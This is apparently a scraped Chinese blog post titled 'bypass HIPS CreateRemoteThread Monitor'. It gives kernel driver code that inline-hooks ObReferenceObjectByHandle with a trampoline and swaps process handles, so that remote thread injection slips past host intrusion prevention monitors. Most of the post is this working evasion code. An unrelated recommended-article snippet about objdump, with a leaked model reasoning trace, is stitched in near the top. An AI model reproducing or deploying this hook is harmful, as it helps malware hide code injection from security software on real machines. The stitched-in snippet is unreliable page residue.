bypass HIPS CreateRemoteThread Monitor

关注

原创最新推荐文章于 2026-09-02 10:34:30 发布 807 阅读 AI 写同款· GEO 优化 ›

Cortex-M3：为什么通过 objdump -S 可以把 C 源码和汇编混合显示？ <think>我们根据要求生成摘要，≤150字。内容为文章精华。需简洁概括：objdump显示源码因DWARF调试信息，特别是.debug_line行号表；编译器在编译时记录地址-行号映射，编码为状态机压缩；-g生成调试信息，优化或无-g则不可用；其他工具同理。</think>objdump -S 能混合显示 C 源码和汇编，源于 ELF 中的 DWARF 调试信息，核心是 .debug_line 行号表。编译器逐语句生成机器码时记录“地址-行号”映射，并以状态机压缩编码。加 -g 才生成该表；优化后行号仍阅读详情

Author：kruglinski(kruglinski_at_sohu_dot_com)

CreateThread
+CreateRemoteThread
+NtCreateThread
+PspCreateThread
+ObReferenceObjectByHandle

inline Hook ObReferenceObjectByHandle:

lkd> u nt!ObReferenceObjectByHandle
nt!ObReferenceObjectByHandle:
805bb050 8bff mov edi,edi
805bb052 55 push ebp
805bb053 8bec mov ebp,esp
805bb055 51 push ecx
805bb056 53 push ebx
805bb057 56 push esi
805bb058 57 push edi
805bb059 64a124010000 mov eax,dword ptr fs:[00000124h]

source code :

NTSTATUS __declspec(naked) Trampoline(
HANDLE Handle,
ACCESS_MASK DesiredAccess,
POBJECT_TYPE ObjectType,
KPROCESSOR_MODE AccessMode,
PVOID *Object,
POBJECT_HANDLE_INFORMATION HandleInformation
)
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
}

BOOLEAN EnableHook(void)
{
PBYTE pfnObRefByHandle=(PBYTE)&ObReferenceObjectByHandle;

ULONG uTotals=0;
ULONG uSize=0;

KdBreakPoint();

while(uTotals<5)
{
if(*pfnObRefByHandle==0xe9)
return FALSE;
uSize=Disasm((PBYTE)pfnObRefByHandle,15);//使用的是精简后OllyDbg的反汇编引擎
pfnObRefByHandle+=uSize;
uTotals+=uSize;
}

if(uTotals>32)
return FALSE;

//我很想用lock rep movsb来Copy内存,但不记得同时用lock和rep前缀是否有效
RtlCopyMemory(&Trampoline,&ObReferenceObjectByHandle,uTotals);

{
PBYTE pTramp=(PBYTE)&Trampoline;
pTramp+=uTotals;
*pTramp=0xe9;
pTramp++;
*(int*)pTramp=(int)pfnObRefByHandle-(int)(pTramp+4);

pTramp=(PBYTE)&Trampoline;
*(ULONG*)&pTramp[32-sizeof(ULONG)]=uTotals;
}

{
BYTE Jump[5]={0};
Jump[0]=0xe9;
*(int*)&Jump[1]=(int)&MyObRefObjByHandle-((int)&ObReferenceObjectByHandle+5);

RtlCopyMemory(&ObReferenceObjectByHandle,Jump,5);
}

return TRUE;
}

BOOLEAN DisableHook(void)
{
PBYTE pTramp=(PBYTE)&Trampoline;
ULONG uTotals=*(ULONG*)&pTramp[32-sizeof(ULONG)];

KdBreakPoint();

if(uTotals!=0x90909090)
{
RtlCopyMemory(&ObReferenceObjectByHandle,&Trampoline,uTotals);
return TRUE;
}

return FALSE;
}

NTSTATUS
MyObRefObjByHandle(
HANDLE Handle,
ACCESS_MASK DesiredAccess,
POBJECT_TYPE ObjectType,
KPROCESSOR_MODE AccessMode,
PVOID *Object,
POBJECT_HANDLE_INFORMATION HandleInformation
)
{
if(ObjectType==PsProcessType &&
Handle==NtCurrentProcess() &&
(
DesiredAccess==PROCESS_CREATE_THREAD ||
DesiredAccess==PROCESS_VM_OPERATION || //用CreateRemoteThread这几个操作是少不了的
DesiredAccess==PROCESS_VM_WRITE
) &&
AccessMode==UserMode &&//防止错误的把内核中的一些操作重定向
PsGetCurrentProcessId()==RemapID)//重定向进程ID相同
{
//修改Handle值
Handle=hRemapHandle;
}

return Trampoline(Handle,DesiredAccess,ObjectType,AccessMode,Object,HandleInformation);
}

收录于